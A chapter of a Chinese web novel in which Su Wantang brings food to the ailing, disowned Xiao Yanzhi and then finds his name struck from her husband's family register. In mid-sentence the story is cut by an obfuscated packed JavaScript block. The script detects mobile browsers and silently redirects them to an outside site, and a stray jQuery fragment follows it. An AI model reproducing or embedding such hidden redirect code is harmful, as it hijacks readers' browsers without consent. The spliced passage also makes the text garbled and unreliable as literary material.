萧砚之再醒来时,已经是第二天的中午了,昨夜的一切恍如梦境,他轻轻地攥了攥手中的布条,这才确认一切是真实的。
他打开窗,温暖的阳光驱散了寒冷,可他骨子里的卑微与肮脏呢,这融合在他血液中的恶心虫子呢,到底怎么才能驱散?
这灿烂的阳光,他只觉得刺眼。
自七岁那年起,他有一种怪病,又或者说那不是病,而是一种叫七绝蛊的蛊虫,每七日便会发病一次,发病时求生不得求死不能。他卷起衣袖,看着自己青紫交错的手腕,血液已经变得正常,全然见不到昨夜翻腾的样子。
可七日后,这些东西又会出来叫嚣,他和这些肮脏的虫子,总要死一个。
他推开门,门外积雪已经微微融化,萧砚之走到自己破旧的小院,地上留了两排脚印,不难想到,如此瘦弱的女子是如何拖着他进房间的。
周遭是无尽的寂静,唯有落雪砸向地面的声音。还好他早就习惯了寂静,他已经数不清多长时间没和人交流过了,可能再过一段时间,他都不会讲话了,不过他本来也不需要。
萧砚之回了房间,门口是不知谁送来的馊饭,他沉默地端到桌子上,面无表情地吃了起来。
难以下咽,但还是咽了。
他用雪水将自己身上的血迹洗干净,端坐在屋内。一阵风吹过,窗外传来窸窸窣窣的声音。
门外的人穿着一身藕粉色长裙,脖颈处围着一层白兔毛,微微擦了些脂粉,嘴唇莹润。
苏婉棠来的时候,步履刻意放轻,她不希望和这院内的人再见面。可她不知道,萧砚之的听力远远灵敏于常人,自她靠近时,萧砚之便察觉到了。
萧砚之躲在窗棂后面,偷偷看着苏婉棠,一言不发,安静得像哑巴。
她此刻弯着腰在雪地里,鬼鬼祟祟地不知道在干什么,时不时还往门口看看,但奈何门窗紧闭,萧砚之也站在死角,她什么都没看见。
苏婉棠避开了所有人,也没带任何丫鬟,一个人到了这僻静的后院,她来找自己昨夜掉落的簪子,也想来问问这个男人到底是谁。
搜寻无果,苏婉棠失望地起身,却不料门突然开了,她正好直直地撞上萧砚之漆黑的眼眸。
萧砚之站在屋内,屋檐的阴影打在他的脸上,遮住了他的眉眼,苏婉棠看不真切。
而苏婉棠站在灿烂的日光之下,发丝闪着金光,二人一步之隔,却一暗一明,泾渭分明。
萧砚之一言不发,一副不打算开口的样子,静静看着苏婉棠。
苏婉棠咽了咽口水,最后还是耐不住沉默,先开了口:“你的伤怎么样了?”
萧砚之静静盯着她,他有一双如死水一样的眼眸,苏婉棠别开目光,被他看得不自在,“我——我是来找东西的,我昨夜落了一只簪子在这。”
昨夜下了一晚上的雪,积雪足足到了人的膝盖,哪里有什么簪子,就算有的话找到的可能也是微乎其微,或许等来年开春自己就能出来了。
萧砚之并不会阻止她的白费力气,他不知道还能再活多少个七天,或许挺不到来年春天,到时候院子落了锁,这簪子怕就只能陪葬了。
他并没理会苏婉棠,准备关上门,这时候一双素白莹润的手却拦住了他。
“等等!”苏婉棠像变戏法一样,从身后拿出了一个食盒。昨夜她回去之后,翻来覆去地睡不着觉,脑海中眼前的男人像是脆弱的小兽,孤单无依,没有任何人帮助。
昨夜他那样讲话,苏婉棠本来不该再管他的,可她实在做不出见死不救的事情。
“我带了点吃的。”苏婉棠缓缓笑起来,她笑起来时,脸颊上会染上淡淡的粉,嘴角也有浅浅的梨涡。
苏婉棠见萧砚之盯着自己一动不动,便伸手在他眼前晃了一下。
“你怎么了?”
萧砚之如梦初醒,这才意识到自己刚刚一直在盯着她的脸看,他别开脸,“没事。”
他看了看这食盒,却没有动,“我吃过了。”
“吃过了?”苏婉棠望向他的身后,见桌子上摆着吃了一半的馊饭和糠咽菜。
“你说的饭,不会是指这些吧。”
萧砚之没作声,但苏婉棠心中已经了然,“我带了些南瓜粥和腌萝卜,我是如今府中的主母了,大小事务理应由我来料理,你过成这样,我不可能不管不问的。”
言下之意,是萧砚之的生活,她也要负责。可这话落在萧砚之的耳朵里,倒成了居高临下的施舍。
泛着香气的南瓜粥,看起来清甜可口,但萧砚之不需要这些,对他来说,吃什么都是一样。
萧砚之还是没吃,只是淡淡地说:“我不需要你的施舍。”
“什么?”苏婉棠的动作顿了一下。
“难道不是吗?你丢给我一些不需要的东西,让我对你感恩戴德?”
施舍?
苏婉棠空闲时刻也曾去施粥,可从没有人这样想过她,她做这些,也并没有想要任何人的回报或感激。她端着食盒的手僵在半空中,指尖微微泛白。
“我并没有居高临下地施舍,我真的想帮助你,这南瓜粥是我早上自己熬的,你身子不好,油腻荤腥的反而不利于身体,我才准备了这些,并不是什么不需要的东西。”
“我不是来证明我是多好的人,我承认对你确实有怜悯,但我没有要求你对我感恩戴德,也并没有想收到任何回报。如果我一厢情愿的善心打扰了你的尊严,那我道歉,我日后不会再来了。”
苏婉棠放下食盒,怒气冲冲地跑出了院子,她步子很快,一路都没有回头。
萧砚之望着她的背影越来越小,直到消失在转角处,他在原地站了很久。
他看着桌子上已经凉透了的粥,拿起勺子,送入口中。
清甜的口感弥散在口腔里,萧砚之数不清多长时间没吃过正常的食物了,他一口一口咽下去,脑海中不断浮现苏婉棠怒气冲冲的背影。他不知道如何收下这碗粥,正如他也不知道该如何接受别人的善意。
苏婉棠回房的时候,正好看到喜樱绕着桌子一直转:“夫人,您可算回来了,您去哪了,我一直都找不见您。”
“后院的雪景很好,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836284|211436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我去逛了逛,夫君下朝了吗?”
“刚下,正在找您呢。”喜樱指了指一旁的萧亦安。明明是如此谦和的人,但喜樱总是不敢接近,可萧亦安毕竟是主子,喜樱只能硬着头皮去了,“姑爷,夫人回来了。”
萧亦安正在看书,他合上手中的书简,笑意盈盈地看向苏婉棠:“夫人刚刚去哪里了?”
“后院的雪景很美,梅花都开了,我没忍住去逛了逛。”
萧亦安牵过苏婉棠的手:“手都冻红了,该不会是去玩雪了吧。”
“嗯。”其实不是,但她总不好说手冻红了是因为在雪地里找簪子,只能含糊地应了一声。
“喜樱,快把暖炉拿过来。”萧亦安将苏婉棠的手放在怀中轻轻地搓着,随后握着她的手在暖炉上烤火。
“又不是小孩子了,怎么还玩雪?”
苏婉棠没回话,只是淡淡地笑着,手指渐渐回暖,她脑海中忍不住浮现西厢房的身影。
她看着夫君的脸,脑海中却想的是另一张脸,一张面容相似、却更加年轻的脸。
“夫人,您的户籍送回来了。”喜樱拿着一竹简走了进来,被萧亦安接过。
苏婉棠嫁进来的时候,户籍出了些差错,现在才被送回来,她也是因为这个事至今还未入萧家的族谱。
有了户籍之后,萧亦安带着苏婉棠到了祠堂,在族谱上添上她的名字。
苏婉棠本来在祠堂外等着,女子进祠堂多有不便,萧家是大户人家,自然也有避讳,但萧亦安执意让她进去。她看了看门口的丫鬟,摇了摇头:“夫君,这不妥。”
萧亦安看了一眼门口的丫鬟,示意她不要说出去,随后将苏婉棠拉了进来。门口的丫鬟低着头,不敢再看。
苏婉棠拗不过他,只好踏了进去。祠堂内香火环绕,萧亦安正一笔笔题着她的名字。
“你是我的娘子,我们之间,不需要这么多规矩。”
萧亦安妻苏氏婉棠
苏婉棠看得真真切切,在萧亦安的名字不远,还有一行字。按辈分那个位置应该是他的表兄弟,可后来不知道为何,被勾掉了。
萧砚之。
相似的外貌,族谱上被划掉的名字,她不由得将这个名字和另一个身影对应起来。
那个晕倒在雪地中、一身伤痕的身影。
可他是萧家的公子,又怎会沦落到如此地步?划掉名字,被赶出族谱,这是犯了极大的过错。苏婉棠颤抖着声音,指着被划掉的名字:“夫君,这个名字是——?”
萧亦安执笔的手顿了一下,平静地抬头,脸上没有任何表情:“一个不配姓萧的人。”
在苏婉棠眼中,自己的夫君萧亦安是受百姓推崇、皇上欣赏的好官,为人温文尔雅,可他怎么会说出这样的话。
萧亦安笑了一下,明明是再寻常不过的笑容,苏婉棠却觉得毛骨悚然。
西厢房内那可怜的身影浮现在眼前,苏婉棠眨了眨眼,脊背感到发凉。
夫君这样说,肯定是有他的缘由,他是受人敬仰,满朝称赞的好官,说的话自然不会有错。